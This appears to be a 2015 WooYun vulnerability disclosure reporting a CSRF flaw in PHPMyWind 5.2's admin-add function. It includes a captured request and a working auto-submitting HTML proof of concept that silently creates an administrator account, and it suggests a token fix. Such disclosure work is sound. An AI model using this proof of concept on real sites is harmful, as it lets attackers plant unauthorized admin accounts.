当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100669

漏洞标题:phpmywind最新5.2版本存在CSRF添加管理员漏洞

相关厂商:phpmywind.com

漏洞作者: 泳少

提交时间:2015-03-11 14:24

修复时间:2015-06-14 14:27

公开时间:2015-06-14 14:27

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-11: 细节已通知厂商并且等待厂商处理中
2015-03-16: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-10: 细节向核心白帽子及相关领域专家公开
2015-05-20: 细节向普通白帽子公开
2015-05-30: 细节向实习白帽子公开
2015-06-14: 细节向公众公开

简要描述:

phpmywind最新5.2版本存在CSRF添加管理员漏洞

详细说明:

嗯哼?
在后台添加管理员时候开启burp截取下包
看看是怎么样的。

1.png


POST /phpmywind/admin/admin_save.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/phpmywind/admin/admin_add.php
Cookie: 33b5b_lastpos=other; 33b5b_ol_offset=98; 33b5b_ipstate=1425863599; 33b5b_cloudClientUid=9998101; 33b5b_jobpop=0; 33b5b_threadlog=%2C2%2C; editmode=0; 33b5b_readlog=%2C1%2C2%2C; 33b5b_bubble=a%3A1%3A%7Bs%3A17%3A%22pw_all_tip_tucool%22%3Bi%3A1%3B%7D; 33b5b_winduser=VT8BVwBcUlFTUgZQDl8FVQYNXwAABlRTXAZRAgdQWgwFUT4; 33b5b_ck_info=%2F%09; 33b5b_lastvisit=951%091425870595%09%2Fphpwind%2Fapps.php%3Fqweibo%26ajax1%26docomment%26nowtime1425870595548%26verify407e3b64ee9472c6; cookiecheckrld66e68e647a874ac7a1822b2eafefe64=1426039194; hd_sid=evILzk; PHPSESSID=7tfnl1uo709b9n489k48nicof2; AJSTAT_ok_times=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
username=ceshi1&password=123456&repassword=123456&question=0&answer=&nickname=&levelname=1&checkadmin=true&action=add


可见post进入到数据库。然后密文又没有加密什么的
Referer: http://127.0.0.1/phpmywind/admin/admin_add.php
跳转到这边
然后现在看见它没有token限制只能构造POC去进行CSRF攻击了
构造好POC后直接打开。
接着……

2.png


漏洞证明:

2.png


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "62","47" );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 2;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();

pausecomp(pauses[i]);
}
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/phpmywind/admin/admin_save.php">
<input type="hidden" name="username" value="test2"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="repassword" value="123456"/>
<input type="hidden" name="question" value="0"/>
<input type="hidden" name="answer" value=""/>
<input type="hidden" name="nickname" value=""/>
<input type="hidden" name="levelname" value="1"/>
<input type="hidden" name="checkadmin" value="true"/>
<input type="hidden" name="action" value="add"/>
</form>
<form method="GET" name="form1" action="http://127.0.0.1:80/phpmywind/admin/admin.php">
<input type="hidden" name="name" value="value"/>
</form>
</body>
</html>

修复方案:

嗯哼?加个token限制吧~

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-14 14:27

厂商回复:

最新状态:

暂无